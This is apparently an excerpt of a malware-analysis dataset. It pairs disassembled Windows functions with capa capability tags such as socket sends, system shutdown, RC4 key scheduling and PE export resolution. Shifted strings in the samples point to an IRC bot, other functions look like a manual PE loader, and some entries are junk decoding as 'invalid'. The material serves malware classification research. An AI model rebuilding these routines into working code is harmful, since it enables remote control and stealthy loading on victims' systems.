joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402320
Capabilities:
Send data
Send data on socket
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x200
lea eax, [ebp - 0x238]
mov edi, edx
push 0
push eax
mov ebx, ecx
call fcn.00404260
mov ax, word [0x41d830]
add esp, 0xc
movq xmm0, qword [str.007SULYPVJ]
mov word [ebp - 8], ax
movzx eax, byte [0x41d832]
mov byte [ebp - 6], al
movzx eax, byte [0x41d974]
movq qword [ebp - 0x10], xmm0
movq xmm0, qword [str.005HUURU]
mov byte [ebp - 0x14], al
mov eax, dword [0x41d988]
movq qword [ebp - 0x1c], xmm0
movups xmm0, xmmword [str.017uhvwduwlqj_vbvwhp]
mov dword [ebp - 0x24], eax
movzx eax, byte [0x41d98c]
push 0x60000
push 4
movups xmmword [ebp - 0x34], xmm0
mov byte [ebp - 0x20], al
call dword [sym.imp.USER32.dll_ExitWindowsEx]
lea ecx, [ebp - 0x34]
mov esi, eax
call section..text
push eax
test esi, esi
jne 0x4023ff
lea ecx, [ebp - 0x1c]
call section..text
push eax
push edi
lea ecx, [ebp - 0x10]
call section..text
push eax
lea eax, [ebp - 0x238]
push str._s__s_:__s__s_n
push eax
call fcn.00401070
lea ecx, [ebp - 0x238]
add esp, 0x18
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4023f1
sub ecx, edx
push 0
push ecx
jmp 0x402432
push edi
lea ecx, [ebp - 0x10]
call section..text
push eax
lea eax, [ebp - 0x238]
push str._s__s_:_s..._n
push eax
call fcn.00401070
lea eax, [ebp - 0x238]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402426
sub eax, edx
push 0
push eax
lea eax, [ebp - 0x238]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004031d1
mov esp, ebp
pop ebp
ret

Function at 0x4024a0
Capabilities:
Connect socket
Get socket status
Initialize winsock library
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c0
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
lea eax, [ebp - 0x2bc]
mov dword [ebp - 0xc], 1
push eax
push 0x202
mov esi, edx
mov ebx, ecx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x40257a
push eax
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x40257a
mov eax, 2
mov dword [ebp - 0x20], ebx
push esi
mov word [ebp - 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
lea eax, [ebp - 0xc]
push eax
push 0x8004667e
push edi
call dword [sym.imp.WS2_32.dll_ioctlsocket]
push 0x10
lea eax, [ebp - 0x24]
push eax
push edi
call dword [sym.imp.WS2_32.dll_connect]
mov eax, dword [ebp + 8]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x14]
push eax
push 0
lea eax, [ebp - 0x12c]
mov dword [ebp - 0x10], 0
push eax
push 0
push 0
mov dword [ebp - 0x128], edi
mov dword [ebp - 0x12c], 1
call dword [sym.imp.WS2_32.dll_select]
push edi
mov esi, eax
call dword [sym.imp.WS2_32.dll_closesocket]
xor eax, eax
test esi, esi
setg al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004031d1
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004031d1
mov esp, ebp
pop ebp
ret
Function at 0x4030c0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
mov eax, dword [0x41f004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [str.0.0.6]
movups xmm0, xmmword [str.009uhwurERW2Y3MH27xDXk9c]
mov dword [ebp - 0xc], eax
movzx eax, word [0x41db24]
mov word [ebp - 8], ax
movzx eax, byte [0x41db40]
mov byte [ebp - 0x28], al
movzx eax, word [0x41d830]
mov word [ebp - 0x1c], ax
movzx eax, byte [0x41d832]
push esi
mov byte [ebp - 0x1a], al
mov esi, edx
movzx eax, word [0x41d900]
movups xmmword [ebp - 0x40], xmm0
push edi
movq xmm0, qword [0x41db38]
mov edi, ecx
mov word [ebp - 0x10], ax
movzx eax, byte [0x41d902]
movq qword [ebp - 0x30], xmm0
movq xmm0, qword [str.007SULYPVJ]
push 0x200
mov byte [ebp - 0xe], al
lea eax, [ebp - 0x240]
movq qword [ebp - 0x24], xmm0
movq xmm0, qword [str.007YHUVLRQ]
push 0
push eax
movq qword [ebp - 0x18], xmm0
call fcn.00404260
add esp, 0xc
lea eax, [ebp - 0xc]
lea ecx, [ebp - 0x18]
push eax
call section..text
push eax
lea ecx, [ebp - 0x40]
call section..text
push eax
push esi
lea ecx, [ebp - 0x24]
call section..text
push eax
lea eax, [ebp - 0x240]
push str._s__s_:__s__s__s_n
push eax
call fcn.00401070
lea eax, [ebp - 0x240]
add esp, 0x1c
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4031a5
push 0
sub eax, edx
push eax
lea eax, [ebp - 0x240]
push eax
push edi
call dword [sym.imp.WS2_32.dll_send]
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.004031d1
mov esp, ebp
pop ebp
ret
Function at 0x1000a5c0
Capabilities:
Create thread
Resume thread

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jne 0x1000a5e4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x7f
push str._assertion_failed:_su__line__i__err__i
push 0xc8
call fcn.10009530
add esp, 0x10
push 0x1006f274
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
sub dword [0x1006f28c], 1
jne 0x1000a75a
push str.TeamViewerHooks_Loader_x64
push 0
push 0x10000000
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
push str.TeamViewerHooks_Loader_w32
push 0
push 0x10000000
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
mov edi, eax
test ebx, ebx
je 0x1000a62f
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x1000a6a7
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x1000a649
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x6a
jmp 0x1000a6b4
push 0x1006f274
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.releasing_library
push 0x64
call fcn.10009530
add esp, 8
push dword [esi]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
jne 0x1000a68a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x72
push str._assertion_failed:_freel__line__i__err__i
push 0xc8
call fcn.10009530
add esp, 0x10
push str.dll_can_unload_now
push 0xc8
mov dword [esi], 0
call fcn.10009530
add esp, 8
jmp 0x1000a74f
test esi, esi
jne 0x1000a6d5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x22
push str._assertion_failed:_su__line__i__err__i
push 0xc8
call fcn.10009530
add esp, 0x10
push 0x1006f274
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
ret
push 0x1006f274
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esi], 0
je 0x1000a74f
cmp dword [0x1006ec50], 0
jle 0x1000a701
mov eax, dword [0x1006ec58]
test eax, eax
je 0x1000a701
mov dword [eax + 0x291c2], 0
push str.Starting_Unload_Thread
push 0xc8
call fcn.10009530
add esp, 8
push 0
push 4
push esi
push 0x1000a3d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
jne 0x1000a748
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x2e
push str._assertion_failed:_th__line__i__err__i
push 0xc8
call fcn.10009530
add esp, 0x10
jmp 0x1000a74f
push eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push 0x1006f274
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0x1006f274
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
ret

Function at 0x10039d1d
Capabilities:
Inspect section memory permissions

Disassembly:
inc ebp
and byte [edx - 0x3a], 0x45
sbb dword [ebx - 0x3a], 0x45
test byte [ecx - 0x3a], bh
inc ebp
test dword [edx - 0x3a], esi
inc ebp
xchg byte [ebx - 0x3a], ah
inc ebp
xchg dword [edx - 0x3a], edi
inc ebp
mov byte [ebx - 0x3a], dh
inc ebp
mov dword [esi - 0x3a], ebx
inc ebp
mov dh, byte [edi - 0x3a]
inc ebp
mov edi, dword [eax - 0x3a]
inc ebp
invalid
Function at 0x10039f1d
Capabilities:
Inspect section memory permissions

Disassembly:
cmp dword [eax], ebx
je 0x10039f2d
mov edx, dword [eax + 4]
lea ecx, [eax + 8]
add edx, eax
mov dword [ebp + 8], ecx
cmp ecx, edx
jae 0x10039f28
mov ecx, dword [ebp + 8]
movzx ecx, word [ecx]
mov edx, ecx
and edx, 0xf000
cmp edx, 0x3000
jne 0x10039f12
and ecx, 0xfff
mov edx, esi
sub edx, dword [edi + 0x34]
add ecx, esi
add ecx, dword [eax]
add dword [ecx], edx
jmp 0x10039f1a
cmp edx, ebx
jne 0x1003a068
mov ecx, dword [eax + 4]
add dword [ebp + 8], 2
add ecx, eax
cmp dword [ebp + 8], ecx
jb 0x10039ee9
add eax, dword [eax + 4]
jmp 0x10039ed6
mov dword [ebp + 0xc], ebx
jmp 0x10039f38
mov edi, dword [ebp - 0x88]
mov eax, dword [ebp + 0xc]
cmp ax, word [edi + 6]
jne 0x10039f50
mov edx, dword [ebp - 0xb4]
xor ecx, ecx
mov edi, 0x60000000
jmp 0x10039f6e
movzx eax, ax
lea eax, [eax + eax*4]
mov ecx, dword [edi + eax*8 + 0x104]
mov edx, dword [edi + eax*8 + 0x108]
lea eax, [edi + eax*8 + 0xf8]
mov edi, dword [eax + 0x24]
lea eax, [edx + ecx - 1]
xor edx, edx
div dword [ebp - 0xac]
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, ecx
div dword [ebp - 0xac]
cmp eax, dword [ebp - 0x44]
ja 0x10039fcc
mov edx, edi
mov dword [ebp + 8], edi
and dword [ebp + 8], 0x40000000
mov dword [ebp + 0x10], edi
and edx, 0x20000000
and dword [ebp + 0x10], 0x80000000
mov ecx, dword [ebp + 0x18]
cmp edx, ebx
je 0x10039fb3
or byte [eax + ecx], 1
cmp dword [ebp + 8], ebx
je 0x10039fbc
or byte [eax + ecx], 2
cmp dword [ebp + 0x10], ebx
je 0x10039fc6
add ecx, eax
or byte [ecx], 4
inc eax
cmp eax, dword [ebp - 0x44]
jbe 0x10039fa8
inc dword [ebp + 0xc]
mov eax, dword [ebp - 0x88]
mov cx, word [ebp + 0xc]
cmp cx, word [eax + 6]
jbe 0x10039f32
mov dword [ebp + 8], esi
xor edi, edi
mov eax, dword [ebp + 0x18]
push 2
pop ecx
movzx eax, byte [edi + eax]
sub eax, ecx
je 0x1003a019
dec eax
je 0x1003a010
sub eax, 3
je 0x1003a007
mov dword [ebp - 4], 0x40
jmp 0x1003a036
mov dword [ebp - 4], 4
jmp 0x1003a01c
mov dword [ebp - 4], 0x20
jmp 0x1003a01c
mov dword [ebp - 4], ecx
lea eax, [ebp - 4]
push eax
push dword [ebp - 4]
push dword [ebp - 0xac]
push dword [ebp + 8]
call dword [ebp - 0xbc]
test eax, eax
je 0x1003a068
mov eax, dword [ebp - 0xac]
add dword [ebp + 8], eax
inc edi
cmp edi, dword [ebp - 0x8c]
jbe 0x10039fe8
mov eax, dword [ebp - 0x88]
mov edi, dword [eax + 0x28]
add edi, esi
call fcn.10039879
int1
sbb dh, ah
mov edi, edi
jne 0x1003a073
push 1
push esi
call edi
mov eax, esi
jmp 0x1003a074
rcr byte [edi + 0x5e], 0x5b

Function at 0x1003a719
Capabilities:
Contain obfuscated stackstrings

Disassembly:
or byte [eax + 4], ch
add dword [eax], eax
add byte [ebp - 0x3337b], cl
call dword [eax + 0x6a]
add bh, bh
xchg ebp, eax
enter 0xfffffffffffffffa, 0xffffffffffffffff
call fcn.10039879
cwde
fist word [ecx]
sahf
and byte [ebp - 0x230], 0
push 0x40
pop ecx
xor eax, eax
invalid
invalid
Function at 0x1003f53a
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1003f5d7
push ebx
push esi
call fcn.1003f4f6
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1003f3e8
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1003f584
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1003f5d6
push edi
push eax
call fcn.10037989
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1003f5a4
call fcn.1003794f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1003f5d5
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1003f3e8
add esp, 0x20
test eax, eax
jne 0x1003f5c3
push edi
call fcn.1003794f
jmp 0x1003f5cb
push ebx
call fcn.1003794f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1003f5da
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x1003f5eb
pop esi
ret
push ebx
push edi
push esi
call fcn.1003f4f6
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.10037989
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x1003f613
push ebx
push esi
push edi
call fcn.10017430
add esp, 0xc
push 0
call fcn.1003794f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x1003fef4
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.1003f886
Function at 0x1014001e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1019c428]
jne 0x10140028
repz ret
jmp fcn.10142458

Function at 0x10143850
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.1013ec38
and dword [ebp - 4], 0
cmp dword [0x1019d678], 0
mov ebx, eax
jne 0x10143901
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x101439b2
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x101439b2
push eax
call fcn.1013ebc6
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x1019d678], eax
call esi
push eax
call fcn.1013ebc6
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x1019d67c], eax
call esi
push eax
call fcn.1013ebc6
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x1019d680], eax
call esi
push eax
call fcn.1013ebc6
pop ecx
mov dword [0x1019d688], eax
test eax, eax
je 0x10143901
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.1013ebc6
pop ecx
mov dword [0x1019d684], eax
mov eax, dword [0x1019d684]
cmp eax, ebx
je 0x10143959
cmp dword [0x1019d688], ebx
je 0x10143959
push eax
call fcn.1013ec41
push dword [0x1019d688]
mov esi, eax
call fcn.1013ec41
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x10143959
test edi, edi
je 0x10143959
call esi
test eax, eax
je 0x10143950
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x10143950
test byte [ebp - 0xc], 1
jne 0x10143959
or dword [ebp + 0x10], 0x200000
jmp 0x10143992
mov eax, dword [0x1019d67c]
cmp eax, ebx
je 0x10143992
push eax
call fcn.1013ec41
pop ecx
test eax, eax
je 0x10143992
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x10143992
mov eax, dword [0x1019d680]
cmp eax, ebx
je 0x10143992
push eax
call fcn.1013ec41
pop ecx
test eax, eax
je 0x10143992
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x1019d678]
call fcn.1013ec41
pop ecx
test eax, eax
je 0x101439b2
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x101439b4
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1014542b
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
xor esi, esi
mov dword [0x1019bbc0], 0
mov byte [0x1019bbc4], 0
mov dword [0x1019bbbc], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], esi
jmp 0x10145481
mov eax, 0x25fd
xor ecx, ecx
mov dword [0x1019bbbc], 0
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], ecx
jmp 0x101454b3
mov eax, dword [ebp - 0x1c]
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov dword [0x1019bbb4], 0x25fd
mov eax, dword [0x1019bbbc]
add eax, 1
mov dword [0x1019bbbc], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x10145481
jmp 0x10145468
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x20]
mov edx, 0x100
mov dword [ebp - 0x28], eax
xor esi, esi
mov dword [ebp - 0x2c], edx
mov edx, esi
mov esi, dword [ebp - 0x10]
div esi
mov dword [0x1019bbc8], 0
add ecx, 0xfffff560
mov edi, dword [0x1019bbc0]
mov ebx, dword [ebp - 0x18]
mov esi, dword [ebp - 0x28]
movzx esi, byte [ebx + esi]
add esi, edi
mov edi, dword [ebp - 0x14]
movzx edx, byte [edi + edx]
add esi, edx
mov dword [0x1019bbc8], esi
mov eax, esi
cdq
mov esi, dword [ebp - 0x2c]
idiv esi
mov dword [0x1019bbc0], edx
mov dword [0x1019bbb4], ecx
mov ecx, dword [ebp - 0x28]
mov cl, byte [ebx + ecx]
mov byte [0x1019bbc4], cl
mov dword [0x1019bbb8], 0x21ee
mov cl, byte [ebx + edx]
mov edx, dword [ebp - 0x28]
mov byte [ebx + edx], cl
mov cl, byte [0x1019bbc4]
mov edx, dword [0x1019bbc0]
mov byte [ebx + edx], cl
mov edx, dword [0x1019bbb4]
add edx, 0xfffff153
mov dword [0x1019bbb4], edx
mov ecx, dword [0x1019bbbc]
add ecx, 1
mov dword [0x1019bbbc], ecx
cmp ecx, 0x100
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x24], ecx
jl 0x101454b3
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x1014557e
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push esi
sub esp, 0x4c
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
xor edx, edx
mov esi, dword [0x1019bbb4]
add esi, 0xffffeeb0
mov dword [0x1019bbb4], esi
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], edx
jmp 0x101455ed
lea eax, [ebp - 0x24]
mov dword [0x1019bbb8], 0x19f0
mov dword [ebp - 0x34], eax
call fcn.10145376
mov dword [esp], eax
mov eax, dword [ebp - 0x34]
mov dword [esp + 4], eax
call fcn.10144fea
xor ecx, ecx
mov dword [0x1019bbb8], 0x22ca
cmp eax, 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], ecx
je 0x101456bb
jmp 0x10145619
mov eax, dword [ebp - 0x30]
mov ecx, eax
add ecx, 1
mov dl, byte [eax + 0x1018a718]
mov dh, byte [eax + 0x1018a6e9]
sub dh, dl
mov byte [ebp + eax - 0x24], dh
cmp ecx, 0xe
mov dword [ebp - 0x30], ecx
je 0x101455aa
jmp 0x101455ed
mov dword [0x1019bbb4], 0x16e2
mov eax, dword [ebp - 0x38]
mov ecx, esp
mov dword [ecx + 0xc], 0x40
mov dword [ecx + 8], 0x1000
mov dword [ecx + 4], 0x6000
mov dword [ecx], 0
call eax
sub esp, 0x10
mov dword [esp], eax
mov ecx, dword [ebp - 0x28]
mov dword [esp + 4], ecx
mov dword [ebp - 0x40], eax
call fcn.10145b16
xor eax, eax
mov ecx, dword [ebp - 0x40]
mov word [ecx], 0x5a4d
mov dword [ecx + 0x3c], 0xd0
mov dword [0x1019bbb8], 0x190b
mov dword [ecx + 0xd0], 0x4550
mov dword [0x1019bbb4], 0xfffff83d
add ecx, 0xffc00000
mov edx, dword [ebp - 0x2c]
mov dword [edx + 0x34], ecx
mov ecx, dword [ebp - 0x40]
mov dword [edx + 0x1c], ecx
cmp ecx, 0
mov dword [ebp - 0x3c], eax
je 0x101456bb
mov dword [0x1019bbb8], 0x20b8
mov eax, dword [ebp - 0x40]
add eax, 0x1360
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
add esp, 0x4c
pop esi
pop ebp
ret
Function at 0x101459ed
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov dword [0x1019bbb8], 0x126c
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x1019bbb4], 0x12da
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10145a50
mov eax, dword [ebp - 0x14]
add eax, 1
cmp eax, 0x104
mov ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x18], eax
jl 0x10145a50
jmp 0x10145a66
xor eax, eax
mov dword [ebp - 0x1c], eax
jmp 0x10145b0e
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], edx
jne 0x10145a2d
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x20], eax
jne 0x10145a46
mov dword [0x1019bbb8], 0xd8e
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x18], 0x6f
jne 0x10145a46
mov dword [0x1019bbb4], 0xfffff6b2
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x16], 0x61
jne 0x10145a46
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x14], 0x64
jne 0x10145a46
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x12], 0x64
jne 0x10145a46
mov dword [0x1019bbb8], 0x1430
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x20]
cmp word [eax + ecx*2 - 0x10], 0x6c
jne 0x10145a46
mov eax, 1
mov dword [0x1019bbb4], 0xcb8
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x20]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x1c], eax
jne 0x10145a46
mov eax, dword [ebp - 0x1c]
add esp, 0x20
pop ebp
ret
Function at 0x10145efb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x48
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
call fcn.10146164
xor ecx, ecx
mov edx, eax
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x10145f37
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov dword [0x1019bbb4], 0xc6c
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [0x1019bbb8], 0x241c
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x10146065
jmp 0x10145fa5
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x38]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x44], edi
mov dword [ebp - 0x48], edx
jmp 0x10145fb9
mov al, byte [ebp - 0x49]
test al, 1
jne 0x10146036
jmp 0x1014600c
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x38], ecx
mov dword [ebp - 0x34], eax
jmp 0x10145f7c
mov eax, dword [ebp - 0x48]
mov ecx, eax
mov edx, dword [ebp - 0x44]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x50], eax
mov byte [ebp - 0x51], bh
mov byte [ebp - 0x49], cl
je 0x10145f98
mov eax, dword [ebp - 0x50]
add eax, 1
mov cl, byte [ebp - 0x51]
cmp cl, 0
setne dl
mov ch, byte [ebp - 0x49]
and ch, dl
cmp eax, 0x20
setb dl
and ch, dl
test ch, 1
mov dword [ebp - 0x48], eax
jne 0x10145fb9
jmp 0x10145f98
xor eax, eax
mov ecx, dword [ebp - 0x3c]
add ecx, 1
mov edx, dword [ebp - 0x40]
add edx, 2
mov esi, dword [ebp - 0x2c]
cmp ecx, esi
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x30], eax
jb 0x10145f7c
jmp 0x10146065
mov eax, dword [ebp - 0x40]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov dword [0x1019bbb8], 0x22be
mov ecx, dword [edx + ecx*4]
mov dword [0x1019bbb4], 0x4c8
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
add esp, 0x48
pop esi
pop edi
pop ebx
pop ebp
ret